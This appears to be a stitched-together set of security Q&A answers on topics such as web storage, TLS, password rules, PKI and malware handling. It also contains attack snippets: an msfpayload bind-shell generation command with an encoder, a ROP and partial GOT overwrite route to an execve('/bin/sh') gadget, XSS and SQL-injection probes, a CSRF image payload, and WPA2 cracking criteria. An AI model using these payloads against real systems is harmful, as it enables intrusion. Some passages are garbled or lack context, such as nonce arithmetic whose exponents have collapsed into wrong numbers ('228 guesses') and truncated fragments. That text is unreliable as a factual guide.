localStorage for apps over https. What expectations are there?

Local storage is a relatively new feature available to web applications, but some kind of 'industry standards' or best practices have already appeared. OWASP HTML5 cheat sheet considering your case states that:

  Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.

No matter if the original page is delivered via http: or https:, local access to the machine (or XSS flaw in the website) can extract the information stored in it. So, simply put, you shouldn't put any sensitive / private information.

I'm not aware of any common user confirmation message text concerning confidentiality of local storage, but yours makes it quite clear. But still, I'd recommend against putting sensitive data in localStorage.

Disclaimer: I'm the coauthor of HTML5 cheat sheet.


Is SSL dying? Should I buy SSL certificates for my sites any more?

All except the third link refer to SSLv3 (version 3) which is affected by the poodle vulnerability. You should be using the TLS protocol which is the successor of SSL and not affected. You should configure your web server to support TLS 1.0, 1.1 and 1.2, which should cover most devices out there save for a few archaic ones like IE6.0, while still remaining secure. The certificate used for both protocols is the same.

Most mass media websites refer to TLS/SSL as simply SSL. They are actually two separate protocols.

More information here : What's the difference between SSL, TLS, and HTTPS?

As for the 3rd link, it refers to IPv6 superceding SSL. My opinion is that it will take at least a few more years for IPv6 to become the de-facto addressing scheme. In the mean time, an SSL certificate will secure your site. Afterall, you can buy a cert for 1-2 year duration if you are afraid it will become obsolete in the near future.


How is this MITM attack being performed and what steps can I take against it?

If you are using a windows PC, run:

ipconfig /all | more

Which DNS servers come up? Your ISP's, Google, OpenDNS, or some unknown/unexpected IP?

If unexpected DNS IP, that's probably the answer. Either your router has been hacked and is serving a bad DNS IP over DHCP (for a DNS server that is redirecting you to the wrong place), or your PC has been reconfigured (by malware) for the same...


It can be done with native Linux commands but HDAT2 makes life much easier.

From their documentation:

HDAT2


For Tesla, the car and the app communicate with the Tesla servers over HTTPS. The app logs in here https://portal.vn.teslamotors.com/ and there is some third party API that can interact with the car on Google's Appspot (teslaglass.appspot.com) for Google Glass integration.

Some weaknesses in the authentication and APIs have been discovered and published. Localization and remote unlocking was possible.


What should I do if I want to unsubscribe from what might be spam?

If the domain name of the link checks out with a reputable company and it has a green SSL padlock you can unsubscribe. Cant get any worse than it is now.

Maybe try opening the unsubscribe link in a Chrome incognito tab in case it is malicious and tries something fishy like CSRF. Or if you are really paranoid, open the unsubscribe in a VM you will throw out afterwards.


Seems like msfvenom is having a problem. I can reproduce it at my end. Will report this to the concerned people. In the mean while, you can use the combination of msfpayload and msfencode tools:

./msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/shikata_ga_nai -c 3 -b '\x00\x0a\x0d\x40' t python

Update: The problem was resolved in the commit here. Please don't use msfpayload and msfencode as these are going to be deprecate shortly.


Is it secure to send a RSA-wrapped symmetric key along with the payload it was used to encrypt?

Yes, you can send an encryption key with any crypto algorithm as long as you apply the necessary security requirements.

For example; there is a small encryption exponent problem in RSA, to cope with it you have to apply some padding as stated in PKCS#1

note: Storing the RSA private key securely is equal to storing the 'K'?


Basically, don't let the attacker modify the application state.

Now, I'm not sure how file permissions are enforced on Windows, so just take this answer as high-level advice. You will have to figure out the specifics yourself.

Basically, operating systems like Linux prevent this sort of things from happening by requiring a privileged account to modify, remove and sometimes even read an important file. Modern Linux enforces this in a variety of ways, including POSIX permissions, access control lists and SELinux.

Applying this to your situation (in Linux-speak), I would require that the application runs as a specific operating system user account and owns the files that provide application state and other relevant information. This removes the ability of normal users using the system to modify the application state.


Hubs, Switches, and Bridges - Flaws and Security Superiority

Switches are NOT a security feature.

That's the important part. A switch is an optimization over a hub, meant for better performance, not for security.

When a hub receives a packet (an ethernet frame), it dispatches it on all the other links. This is inconvenient in large networks, because this means that when two machines talk to each other, they monopolize the whole network. To avoid this issue, switches try to remember which machine is on which link, so that they may propagate a given frame only on the relevant link, thus leaving most of the network free for other simultaneous communications. This is only a best effort and in no way a guarantee that a given packet will be sent on the single "right" link. The switch works on an internal cache memory which has limited size. Thus, it is easy for an attacker to spam the switch with lots of packets from "fake" systems so that the switch can no longer decide which is the right link for a given packet; at this point, the switch falls back to "hub mode" and broadcasts the packet on every link.

So you should use a switch for performance but certainly not for security reasons.

A bridge is a general-purpose computer which believes it is a switch. It has several network interfaces, and relays ethernet frames as a switch would do. Bridges can also do some intricate filtering since a general-purpose computer has a CPU and RAM; that's actually why you would still want to setup a bridge instead of using a much cheaper switch. Some switches are also, internally, computers which can run elaborate filters on transiting packets; so the distinction between a "bridge" and a "switch" is now quite blurry.

When in doubt, use a switch -- but do not assume that it will do you any good security-wise.


Does HTTPS protect you from fingerprinting by the NSA?

You asked about https, not tor which is a different question, so I'll address the https part.

There's a lot of information sent in the clear to setup an https session.  Probably the most obviously useful would be the client sending the cipher suites supported, cipher preferences, and SSL versions the client supports.  Cipher suite support varies widely among the major browsers, and will even vary between versions of the same browser.  For this reason it'd be trivial to identify broadly which browser the user is using (ie, Chrome, Firefox), and in many cases narrow it down to a range versions of the browser.  Internet Explorer for example has only a few versions, so it's trivial to identify which version is being used.

IP addresses tend to stick around for a long time.  Say  you had 3 people using the same IP address, Alice, Bob, and Charlie.  Alice uses Internet Explorer, Bob uses Firefox, and Charlie uses Chrome, it'd be relatively simple to distinguish which user is visiting a secure website if you'd identified the IP address.

In addition, the client sends date and time information as well.  That could also be very useful in fingerprinting a client.

All in all, I'd say it's very possible that at least some fingerprinting can be accomplished over SSL with only passive listening.


Does having a minimum number of digits improve password security?

The security of the password is not really about what the users are allowed to choose, but what the users actually choose on average.

The attacker tries to guess the password that the user chose, and he will do so by trying most probable passwords first. "Most probable" here designates a kind of psychological study that the attacker performs; in plain words, this means that the attacker will try names of famous soccer/baseball/hockey players because many users, left to their own devices, use these names as password.

The ideal user selects his password totally at random, with uniform probability over the space of possible passwords (i.e. all passwords that can be typed in and that the machine will accept). Most users won't do that, though. Even if they can use digits in their passwords, they will prefer not to use digits, if given the choice; because users, like everybody else, try to maximize their own comfort and efficiency, so they want passwords which are easy to type and easy to remember. A full-alphabetic password is easier to remember than a mixed letters-numbers password, and also easier to type, especially on smartphones (e.g. the basic Android visual keyboard shows letters and numbers on separate screens).

A constraint on a minimal number of digits is an attempt at making the users more random: it prevents them from using full-alphabetic passwords, because, when technically allowed to do so, users turn out to rely on very low entropy passwords (the ones which are easy to guess). By enforcing the inclusion of some digits, a sysadmin can push the users (slightly) out of their comfort zone, and force them to choose a password where a simple soccer player name is not a valid password.

Done with moderation and taste, this increases security by making passwords, on average, less guessable. Don't put too much hope in it, though: many users will add "111" at the end of their password, and be done with it. The attacker knows that, too. Moreover, the more constraints you add, the more likely is the user to become an enemy. People don't like to be pushed out of their comfort zone. If you shove them too much, they will react quite creatively, for instance by writing done passwords on a piece of paper (hidden, as per immemorial Tradition, under the keyboard -- and the attacker knows that, of course). The users cannot really be blamed for that, but the net effect is that security can decrease when well-intentioned constraints are enforced.


do I need to restrict origin in an API app?

Found a blog. From it wildcard does not sound dangerous unless site is using client network as a kind of a security measure.

I can imagine somebody trying to reach into a VPN for example through victim's browser. Would require a lot of internal knowledge but if attacker is an ex-employee for example, he/she may have such knowledge also can use internal contacts and trick them into opening a rogue web page to execute the attack.


What are the factors making a WPA2 handshake suitable for cracking?

You need M2 and (M3 or M1), and they must belong to the same single set of  corresponding authentication (i.e., if the first authentication exchange fails, and there is a second, you won't be able to succeed using M2 from the first negotiation and M3 from the second).
The first thing to check is to load the capture log into Wireshark and verify that the value for the field Replay Counter is equal to n (for M1 and M2) and n+1 (for M3 and M4).
Still, as Replay Counter will be frequently reset, you should also check that the interval between M2 and M3 is correct: I've seen about <0.1s working ok, but there is no fixed rule for this value; you should take a look at the rest of the packets and decide if the intervals are plausible, also considering larger values possibly valid because of retransmitted packets.


How would a nation-state provide an API for its citizens to verify their legal identity online?

an official nation-state institution [...] could easily let their citizens verify themselves online. [...] do any nation-states have APIs for this?

Yes, Germany has, as far as I understand, pretty much what you're describing:

https://www.ausweisapp.bund.de/startseite/

However, I don't think it's foolproof, since identity cards can be stolen on the matter-side, and on the data-side a rogue app could log the data.


Typically, one has an approach that involves isolating breaches, identifying them, restoring service with the immediate attack vectors closed, and shoring up after that.

Sony's issue appears to be systemic. Their systems are varied, complicated, and numerous. As I understand it, weaknesses are everywhere. They cannot return to functioning because even they are not compromised in an isolated way.

In this way, Sony is a bad example for your idea. In another way, Sony is a fantastic boon to us. Need an example of poor security destroying something that didn't go out of business right away and wasn't too small to ignore? This is it.

Isolate and identify is now... forensics on the machines, work with law enforcement immediately because this is a "big fish" issue. Restoring service is just about out. Everything needs to be looked at from a basic level on up with security in mind. Sony in its present state may not even be able to identify where valuable data is located at.

You don't get here, because here is the bad place to be. Too big to react, too long without considering security implications. Nothing can be trusted, and fixing everything will be very expensive.


Why does not Google switch to POST method for queries?

ISPs will either be able to record/sell queries such as DNS, which leaks no information about content other than domain name.

If ISPs record traffic then POST/GET data is equally easy to capture. If the traffic is sent over HTTPS its equally as difficult to capture. The SSL/TLS tunnel is secure end-to-end regardless of the content being transferred.

The only way ISPs could see the secure communications is by man in the middling the traffic, such as getting you to install their own ROOT CA to allow them to proxy your communications. But again then they would see all POST/GETs anyway.


How to store chat conversations on my website?

Don't worry about encryption.  It doesn't matter (from a security perspective) whether it is in a .txt file or in a database.  Instead, the single most important thing you can do for your users' security and privacy is:

Don't retain the data any longer than you absolutely have to!

People have certain expectations about chat.  They expect that online chatting is like chatting offline (on your porch, or something): that there is no permanent record being routinely kept of all chats.  Folks probably expect that chats will ordinarily be kept private.  So, don't violate their expectations.  Don't keep records of their chats.  Delete all records after some reasonable time (say, after a day; or as quickly as you can).  Then, if you are compromised, the damage will be modest, and you won't have to go to your users, head in tail, admitting that the hackers have gained access to all of their past chats, for all time.


TLS with non-repudiation; what happened with 'TLS Sign'?

I don't find any draft beyond the last one (expired since June 2008). I am not aware of any existing implementation. Anyway, the draft is incomplete and inconsistent (e.g. the ContentFormat type is defined twice, with distinct incompatible values; the tls_sign value is undefined) and quite poorly explained (from what I can see, it says nowhere what is actually signed).

Anyway, non-repudiation is a legal concept. It may rely on some technological elements, such as cryptographic signatures and certificates, but these elements cannot ensure non-repudiation alone. To really get non-repudiation, you need to follow what the local legal system says about non-repudiation. When such laws exist, they invariably insist on the idea that whoever is signing must be aware of what he is signing. Thus, signatures for non-repudiation cannot really exist as an application-independent feature -- which was the goal of that draft and its raison d'être as a TLS extension. In that sense, the draft was useless, which explains why it did not result in a complete RFC.

(Uselessness cannot always prevent features from becoming RFC, but it may still siphon out the motivation of who is doing the writing. Writing a publishable RFC is a lot of work, in particular editorial work, which won't happen unless the author is really convinced that it is worth the effort.)


MD5 is better than plaintext, but only marginally.

If you use bcrypt with a salt, to find all records with email foo@example.com you would need to hash that email one time per record with that records unique salt. That would quickly get out of hand, and as you note in your question, not work.

What you can do instead is to use a constant salt that is the same for all records. Then it is no longer called a salt, but a pepper. The value of the pepper should be random and treated with the same care as a cryptographic key, since without it a brute force on the hashes is practically impossible.

It is important to understand that a pepper is not as secure as a salt, since a brute forcer in possession of it would get the same speed up from not having to compute the hash one time per record as you do when searching. But it is a lot better than using a fast algorithm like MD5 or SHA-256.

A practical note: Not sure if all bcrypt implementations allow you to specify the salt yourself, and all of them will have the salt included in the output. You need to cut that part off before you store it, since the pepper should not be stored in the database.


How does the browser know windows logged in user id or Kerberos TGT?

Does browser has access to read the TGT from local machine?

Yes, that's the whole idea of Kerberos: You acquire a ticket, and then local applications can use it for auth.


What are the proper steps for "quarantining" Malware?

If you have the malware executable / exploit / doc with macro / ... , then what you want to ensure is that nobody opens it. For this it is enough if you remove the extension. Anyway a good way to store samples is e.g.: a password protected .zip file with the password 'infected'.

If you don't have the sample yet, then yes, disable its connection for sure (not just the internet, the whole networking - imagine a ransomware getting access to a network share). That should be enough for a computer quarantine. Anti-virus scan can help, but if it is a yet unknown or modified sample it can't ensure the cleaning. Find out what kind of malware it is and after you are sure that it is disabled, you can enable the internet connection.


Storing bank account information - AWS RDS Encryption

No. If your secret is on the same server you are encrypting the data on, you are making a mistake. It should be separate and physically secure, preferably on an encrypted USB drive. If you need to encrypt data while you are not around, I would suggest encrypting it with a public key and then decrypting it later, separately. However, if neither of these is an option, I suppose security by obscurity is still an option (however meager it might be)....


You can use duplicity for that. Duplicity is an application written in Python which uses librsync, GnuPG, and tar for incremental, encrypted, and signed backups. It is specifically designed for situations where the server is untrusted (for example, when Dropbox or an Amazon VPS is used). Duplicity calculates the delta between the local archive and the remote archive (with metadata cached locally) and sends an encrypted file to the remote server containing records of incremental changes and associated data. Each snapshot file is typically 25 MiB in size (although that is configurable), and without the key, it is impossible to tell if the snapshot file contains 25 MiB worth of new files, 25 MiB of incremental changes, or even 25 MiB of metadata, like file deletion records.

Duplicity will generally only transmit a single, full backup once, and then all subsequent backups will be in the form of deltas. This makes it similar to a revision system where all past changes can be reverted. When a local file is deleted and this is synced to the remote server, the remote file is simply marked as having been deleted. Of course, it is possible at any time to "clean" old changes and do a new full backup in order to save space. See the manual page for more information.

The benefit of duplicity is that the destination server can be completely untrusted without compromising the ability to do efficient, incremental backups. A moderate cache of metadata must be stored locally in order to make this possible, but you can trade-off the storage requirement for bandwidth requirements and re-download the metadata before each sync.


iPhone 5S security: Given someone's fingerprint can I use a 3D printer to create a fake finger with a real fingerprint on it?

Vendors of fingerprint scanners usually prefer security-through-obscurity, so open specifications of the hardware module ("TouchID" in this case) are unlikely available. Apple's firmware secrecy doesn't help.

But we can speculate on common features of (good) fingerprint scanners:

Capacitive touch where a human finger's natural electric conductivity is measured.
Infrared heat as a human finger is both warm blooded and will dissipate heat in a fairly predictable pattern upon a colder surface.
A pressure gradient on initial touch as human finger-pads are soft and compressive rather than hard and unyielding
Spectrophotometry (a form of remote sensing) as a human finger will have different spectral properties from latex, foam or PVC. This can include both the visible colour of a finger (as recorded for that human owner) and other electromagnetic waves within the sensor's bandwidth
Heartbeat sensing to detect a live finger

No current generation of 3D printers could handle this.

A future organic printer could grow and customise a human finger on the back of suitable warm-blooded synthetic organism (or perhaps just a mouse). But by the time this technology was mature, spot-contact DNA sensors will probably be mainstream. Eventually the three common factors of authentication (knowledge, possession and physical being) will start to merge together; at least logistically.


WebProxy configuration ... Which threat could apply?

What could be the threat to let users / computer reach and URL through a non-standard port ?

If the proxy allows https access, then that means potentially, anyone on the inside can connect anywhere on the outside regardless of port or protocol - from the proxies point of view, it just sees a CONNECT request which opens a stream level proxy to the specified end point.

How bad could it be? You tell me - what's the worst thing that would happen if you allowed machines inside your network to connect to anything on the internet (which, in effect you may already be doing).


Law 3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.

It's a security risk, yes, but refer to this rule and read the link I posted. Actually, it'd be good to read that rule (Law 3) in addition to the rest of the Immutable Laws.

I'm not sure your question, "Are all OSes vulnerable to local password reset attacks" is within the scope of what we can answer; for instance, some popular operating systems might be, but perhaps there are a handful somewhere that aren't.

Passwords are sort of like locks. Locking your door might prevent a crime of opportunity, but it certainly won't deter a determined criminal. That's why you don't leave valuables in plain sight and you install an alarm system.

Think about it -- you can boot from a USB and read the data on the hard drive. That's a very possible attack vector. It accomplishes pretty much the same thing, yet saves them from having to go through the trouble of resetting the root/admin password. So, really, it's helpful for people who forget the root password, and isn't too much of an added vulnerability, because if it is an issue for you, then you have bigger issues in the first place (somebody with physical access to your machine's unencrypted data).


How to exploit binary with no syscall gadget or information leak in full ASLR and NX?

It ends up that the solution was using a partial address overwrite after all.
Using the address to read in the GOT, a two-byte partial address overwrite can be done to jump within a guarantee of 8192 bytes from read into libc, with a 1/16th brute-force chance to jump within 65535 bytes (due to 4 byte entropy of ASLR).
Within the two-byte overwrite, there is a magic gadget located 0x6109 bytes away from the address of read, which is within the two-byte distance.
From one_gadget, the magic gadget near read can be found:
0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Where in this version of libc (2.6.32), the call to read is found at:
0xF6670 read            proc near

Using a call to read, we can overwrite the GOT entry of read and ROP back to main to call our magic gadget.
Also, another solution was found by doing that same partial address overwrite to ROP into setting up a syscall then overwriting the last byte of read to jump 0x0E bytes forward and hit the natural syscall gadget found within read. This way you don't have to bruteforce ASLR and have a stable exploit!


Can a antivirus software detect a malware that steals data?

Can antivirus software detect malware that steals data?

Your question basically boils down to "If x operation is performed can a computer determine if its malicious or not"
The answer is well sometimes it can.
How would computers go on about doing that?

Well for starters computers can go and check if such a file has been earlier seen and if it was classified as malicious or not and to what degree was it classified malicious by seeing what operation it performs and determining should the program really be doing that.
Defeating such a system shouldn't be that hard.
But if we really think about it after the code has been executed it pretty much can do anything like check if it's running in a virtual environment, spawn a different process and copy its code there, inject into another process, download another exe, or dll and then execute the functions in them.
So in short determining, if a file upload function is malicious or not is almost impossible for computers and extremely tough for humans taking into account the headache malware writer went into obfuscating his actions.


Key loggers can be inserted on to a system via a wide range of attack vectors. Not all are reliant on physical access - although some are.

Keyloggers are generally broken down into two main categories - Hardware Based, and Software Based. Those each have sub-categories of their own based on where the keylogger resides on the system, or the methods it uses to track key presses.

Those that are reliant on physical access can arguably be harder to trace, depending on the physical security of the location. For example, you may be able to detect that a keylogger was used, however if the physical access to the site cannot be monitored through cameras or other physical security measures then once the keylogger is collected there is little to track the attacker on.

Whereas those that do not require physical access to the machine will usually 'dial home' and send their information back to the attacker. This could leave a bigger trail of breadcrumbs to trace the attacker down but has the benefit of all being performed without physical access to the infected device.

Attack vectors for non-physical keyloggers include but aren't limited to having the user open an email attachment that contains the payload, gaining control of a users WiFi session and sending them to a fraudulent website that will serve up the payload, or even distributing them via online advertisements. There are simply too many ways to serve up a keylogger to a system to have it listed here.

The following Wiki breaks things down quite well: https://en.wikipedia.org/wiki/Keystroke_logging


Any with _DHE_ in them. Those are the ones that use Ephemeral Diffie-Hellman, _ECDHE_ is safe.


Are there any "real world" implementations of secret-sharing encryption schemes?

There are at least two free implementations that are part of Ubuntu linux and implement Shamir's secret splitting and combining:

gfshare: Ubuntu Manpage: gfshare - explanation of Shamir Secret Sharing in gf(2**8) provides both tools for secret sharing (gfsplit and gfcombine) which can split an arbitrary file into shares, as well as a library for use by developers.
The "ssss" package provides the ssss-split program which prompts you for a pass phrase which can't be longer than 128 characters, to split up into a set of phrases to share.  Then the ssss-combine program prompts for enough of the shared phrases and prints out the secret.

gfshare directly works with files, while ssss would be used to split up a pass phrase which can then be used with gpg or openssl or another encryption utility.  So gfshare would seem simpler for your use case.


Does restarting an encrypted session increase security and deter attacks?

It is implemented. Look for 'session re-keying'.


A 64-bit nonce is likely more than sufficient for most practical purposes, if the 64 bits are crypto-quality randomness.

Why is 64 bits sufficient?  Let me lay out the kind of reasoning you can use to answer this question.  I'll assume this is a single-use time-limited URL; after it is used once, it is no longer valid, and after a little while (3 days, say), it expires and is no longer valid.  Since the nonce is only meaningful to the server, the only way that an attacker can try a guess is to send the 64-bit guess to the server and see how the server responds.  How many guesses can the attacker try in the time before the nonce expires?  Let's say the attacker can make 1000 HTTP requests per second (that's a pretty beefy attacker); then the attacker can make about 1000*3600*24*3 = 228 guesses within a 3-day period.  Each guess has a 1/264 chance of being right.  Therefore, the attacker has at most a 1/236 chance of breaking the scheme.  That should be more than secure enough for most settings.


Can you sign using a digital certificate itself?

Just a matter of imprecise language that should be understood by everyone involved.

You sign using the private key that only you have. The public key is not used, and the certificate is not used. In fact, maybe there is no certificate using the public key. The verifier verifies the signature using the public key, the certificate is not used. But the public key is just a number (or two numbers). It is inconvenient to handle the bare numbers. So often the public key is carried around with some metadata that says what the public key is for. That is a certificate.

Maybe it just says "juaninf's public key" and is self-signed (has a signature attached made using the private key matching the public key of itself).

Maybe at work it has a note signed by your boss that says "This is the public key of juaninf, I hired him to work for me on 2019-06-23, I am the manager of department D at corporation C, here is a signature from the CEO of corporation C attesting to this fact". And the automatic doors at the building can test this. And your private key is in an unclonable smart card.

If you click on the lock next to the URL in your browser, you can see the TLS certificate for the site. In the certificate, you can see the public key. You can see the certificate, therefore you have the certificate. But you do not have the matching private key. So you can't create a new signature for the public key in the certificate. So you can't do MitM attacks on other visitors of the site. To do MitM attacks, you would need to have the private key matching the public key in the certificate to sign DH key exchange messages (or decrypt encrypted secrets in obsolete configurations of TLS).

Sometimes it is important to be precise when saying "I have the certificate" or "I have the certificate and private key". But often it is obvious from context what is needed.


Linux OS with encryption including hidden volumes?

It might not be as convenient as Veracrypt's hidden volumes. But you can encrypt your drive and remove the header from it (If you are using LUKS) as detailed in:
https://superuser.com/questions/823922/dm-cryptluks-can-i-have-a-separate-header-without-storing-it-on-the-luks-encry

As it says there, the drive will then look like random data and will not be able to be identified as your system.

The way you could use this, is having two drives one password protected. The other with the header moved onto a USB. Under duress you'd be able to claim that was a drive you were working on to recover, and be able to show your password protected system as your working platform.


Which hash/encryption type is used by Kali Linux for /etc/shadow by default?

The site you linked to calculates plain SHAs and outputs in hex, not salted SHAs with multiple rounds output in base64, so it's basically impossible to compare them.

In your shadow entry, splitting on $ you have 6, which is type SHA512, 89Zi5dxn, which is the salt, and then RvKDsJQhBiX2K3CEVUE3nQxvdBV.3vDK4Jrn11xC8jO31c43VnZeTL1OGaJWfFkl9di8nfreAXFLreCuQDshf1, which is a base64-encoded hash.

In addition to the salting, libc applies a number of rounds of the hash, defaulting to 5000.  If you want the details on how a crypt() style SHA512 is calculated, here's a link to the source: https://github.com/lattera/glibc/blob/master/crypt/sha512-crypt.c


Is it vulnerable to let users know their own and other users id from a database?

It really depends on what you can do with that knowledge,  Ask yourself the following questons:

As a user of the site do I need to know my ID to use it?
If a user knows their own ID what does that really mean?
If a user knows someone elses ID, what knowledge or access does that grant them?

Finally if the ID is used within a URL that displays someones details, does changing that ID and display someone elses details?  If so then that's an access control issue, not necessarily an issue with knowing the ID.

Regardless of knowing IDs as an attacker I would be interested in getting as low and ID as possible, either 1 or 0, as those tend to be the Admin user within the application.


manually approach to check vulnerabilities?

If you are not allowed to use an interceptor (and I suppose the task is some sort of exercise) you will usually not need one.

You can try to insert some attacks manually in a form or whatever you have. Checking for possible XSS attacks is possible if you send a custom string ABCDEFG and look where it appears in the resulting page. You can then try to refine that string and insert some tags, e.g.

<script>alert(1)</script>

If that raises a message you have successfully injected code.

You can try to start an SQLi by inserting SQL queries in a form element. I would start by adding ' an see if that results in an SQL error message somewhere on the resulting page. Often useful is also to replace number by equations. E.g. 10 by 11-1. If that validates you know that your input is directly passed to the SQL engine. You can then try to inject some more sophisticated queries. I recommend the cheat sheet from pentestmonkey which you can find here http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

For CSRF you have to have a foreign page which includes an element that, when loaded, results in a query to the site you want to attack. For example

<img src="http://some.site/user.php?deleteme">

which would make the browser request that site and possibly execute a deletion of a user account or so.

The web is full of further information and cheat sheets with common attack patterns. Just google it ;-)


Does Google Chrome store browsing history on their servers?

Yes.

If you're logged into chrome, and not using incognito, then sure.

If you're not logged in to chrome, they store a list of all the sites you've visited through their tracking cookies.

Assuming you're using incognito, there are lots of ways people track you. Here are a few.

If you're using private browsing, there is not local history, and there is no tracking cookies (unless you don't close the private browser, and there is a tracking cookie that maps all the sites you visit while using the private browser. So, if you login with gmail, then visit p..nhub, then google probably mapped you to that url and then yeah, you're in their records.

If you're using your ISP's DNS, then your ISP can see all of the host names you resolve. They also know your name, address, and credit card number. So if you visit p..nhub from your ISP, they have a record that you went there. They don't know anything beyond that if the sites you visit are HTTPS, but if they are HTTP, then they can see the pages you visit too.


No, its not inherently bad to store a malicious file, as long as no one can execute it. Anti-virus softwares do this all the time when they "quarantine" malware.

Another possible problem that you can highlight to them is that a malicious user can upload illegal content on their service, for example, someone can upload child pornography there and it will create a major legal problem for that company.


Are Meltdown and Spectre complementary and used together

These are all attacks in the same area, i.e. using side channels during speculative execution in CPU's. It is not uncommon that if you find one problem you look deeper and find even more problems in the same area.


How to investigate an IP address that was involved a security breach?

The "POTENTIAL BREAK-IN ATTEMPT" language in this log message was a frequent source of confusion, and was removed in 2016. The fact that you're still seeing it suggests that you are running an old version of OpenSSH, which should be upgraded.

The only thing that this log message means is that the IP address indicated in the message attempted to make an SSH connection to your server. If you weren't expecting a connection from this hosting provider, it's possible that there was an SSH scanner running on this IP. This is (unfortunately) quite common, and should be reported to the ISP, but it's not a reliable indicator that they were specifically at fault for the breakin.


The W3C security instructions for this are surprisingly accurate and complete:

  Authors should check the origin attribute to ensure that messages are
  only accepted from domains that they expect to receive messages from.
  Otherwise, bugs in the author's message handling code could be
  exploited by hostile sites.

  Furthermore, even after checking the origin attribute, authors should
  also check that the data in question is of the expected format.
  Otherwise, if the source of the event has been attacked using a
  cross-site scripting flaw, further unchecked processing of information
  sent using the postMessage() method could result in the attack being
  propagated into the receiver.

  Authors should not use the wildcard keyword (*) in the targetOrigin
  argument in messages that contain any confidential information, as
  otherwise there is no way to guarantee that the message is only
  delivered to the recipient to which it was intended.

  Authors who accept messages from any origin are encouraged to consider
  the risks of a denial-of-service attack. An attacker could send a high
  volume of messages; if the receiving page performs expensive
  computation or causes network traffic to be sent for each such
  message, the attacker's message could be multplied into a
  denial-of-service attack. Authors are encouraged to employ rate
  limiting (only accepting a certain number of messages per minute) to
  make such attacks impractical.

The most important thing is to always validate the origin - you'd be surprised how many sites fail to do so. If the message is confidential then the targetOrigin argument must be specified.

This of course assumes that the browser implementation is correct and without holes. The major browsers have been evaluated and no issues have been found.

See also this Checklist for postMessage Security Review.


Hashing the certificate produces a unique fingerprint for the certificates contents, including name, dates, signer, key, everything. If you change any part of the certificate, (which includes replacing the public key with your own) then the stored hash no longer matches the contents.

So, you say you replace the hash as well? Not quite: each certificate is signed, and signed means that the hash is encrypted with the signer's private key. You can't replace the hash without replacing the signature (because the hash is part of the signature), and you can't replace the signature without re-signing the cert, and you can't re-sign the cert unless you have the signer's private key.

So the only party who could actually replace Bob's key with Trudy's is the CA. And the whole point of the PKI is that you trust the CA to not do that. If you can't trust the CA, then the whole system falls apart.

Real World Note
Note that this is precisely the problem with the global SSL PKI we have today. We don't know if we can trust the CAs anymore. Specifically, we don't know if powerful organizations (governments, etc) are pressuring CAs into signing illegetimate certificates. It's very possible that the Chinese military or US NSA has valid, signed certificates for Google, Facebook, or any other organization. This is where certificate pinning comes in to play. And in fact, Chrome and several other browsers by default pin certicates for Google and other popular services, so even a valid certificate isn't accepted unless it's a specific valid certificate, or signed by a specific CA.


How separated should a management VLAN be from the production VLAN?

There are generally 2 reasons to have a management vlan:

To provide security and control for management interfaces
To provide a redundant way to access critical systems so if the core network has problems there is another way to access management interfaces in order to restore services

I would usually recommend that the management network be on a completely separate set of network hardware and connections - if you rely on your core network to connect to management interfaces and it goes down then you lose all access.

As for whether to allow access from the wider network or limit access to a specific set of gateways there's no right or wrong answer, it depends on your security goals and setup. If your support staff have fixed IP addresses or exist within specific IP subnets or ranges then you could allow access to the management network from those IPs. This is fine as long as you have strong authentication and authorization in place, and do not have a requirement to limit access on a ticketing basis. If your administrators are all over the place IP-wise or you have a requirement to limit access only when there's a change request  then you would need to limit access to a specific set of gateways. Many organizations do both: they allow access from permitted ranges and also have gateway hosts for out of band management and roaming users.


Tool to prepare report of security auditing

That depends on what your report should look like.

There are a number of reporting tools. Dradis and MagicTree are two of them. They may not be the kind of reporting you seek, but its worthwhile to look at them.

Having seen a number of penetration test reports from different vendors, I know for sure that they must have some template and/or macros and/or report tooling to generate these reports (one company had a spelling mistake in their template...). These templates/macros/tools are often proprietary.

As for enumeration: nmap is of course the first tool that comes to mind, but simple nslookup, smbclient et cetera are also tools that come in handy.


Javascript code executes on the client browser, so the client browser sees the code, and every user can obtain it. At best you can obfuscate the code so as to (try to) hide its meaning and behaviour. Obfuscation will not deter motivated attackers (it will just makes them a bit angrier), so it would be quite unwise to use it as foundation for your security model.

If you want to hide code, don't send it to the attacker's machine; keep it on the server side.


Discouraging users from copying images off a website?

There is no way to block saving of images, but here are some ideas to make it harder.

To prevent right-clicking the image to save it, you can overlay a transparent div on it. The user will then right-click the div instead of the image below it and the context-menu will not show "Save image as".
You could use a data URL to show the image so that there is no separate file on the server to link to.
You could use hotlink protection by checking the referer before serving images.

Even with all these countermeasures, any user can just make a screenshot of the page and crop the image out of it.

Given it is very easy to bypass these countermeasures, you may consider not implement any anti-downloading functionality at all. Use of the images is already protected by law.


Secure communication protocol for equality test

There is no need to encrypt anything in this use case. Hashing with a non invertible algorithm is enough. In order to avoid to give a constant hash, you could imagine a challenge protocol:

each part builds (separately) a random string and sends it to the other
each part concatenates the received random string with its own secret, computes a strong hash (sha512 is generally considered as strong enough)
each part concatenates the produced random string with it own secret and computes the hash
each part sends to the other the hash produced with the other's random string

If the secrets were identical, the hashes should compare equal. If they are not, no part can guess the secret from its peer because only non invertible hashes of one time messages have been exchanged. Even if a man in the middle could intercept the messages, he could neither guess the secret, nor pretend to know it later because of the random part


How should resource providers validate OAuth2 tokens?

RFC 6750, The OAuth 2.0 Authorization Framework: Bearer Token Usage , Section 5: Security Considerations discusses some of the issues related to the use of bearer tokens. From section 5.2:

  5.2.  Threat Mitigation

  A large range of threats can be mitigated by protecting the contents
  of the token by using a digital signature or a Message Authentication
  Code (MAC).  Alternatively, a bearer token can contain a reference to
  authorization information, rather than encoding the information
  directly.  Such references MUST be infeasible for an attacker to
  guess; using a reference may require an extra interaction between a
  server and the token issuer to resolve the reference to the
  authorization information.  The mechanics of such an interaction are
  not defined by this specification.

In step 3 of your workflow you describe the resource service asking the authorization service if the token is valid. This is an example of using a reference to resolve authorization information. However, step 4 has the resource server validating the subject (e.g. UserXY). This is an example of encoding authorization into the token itself. This hybrid approach isn't a problem but you could simplify your design by picking one or the other.

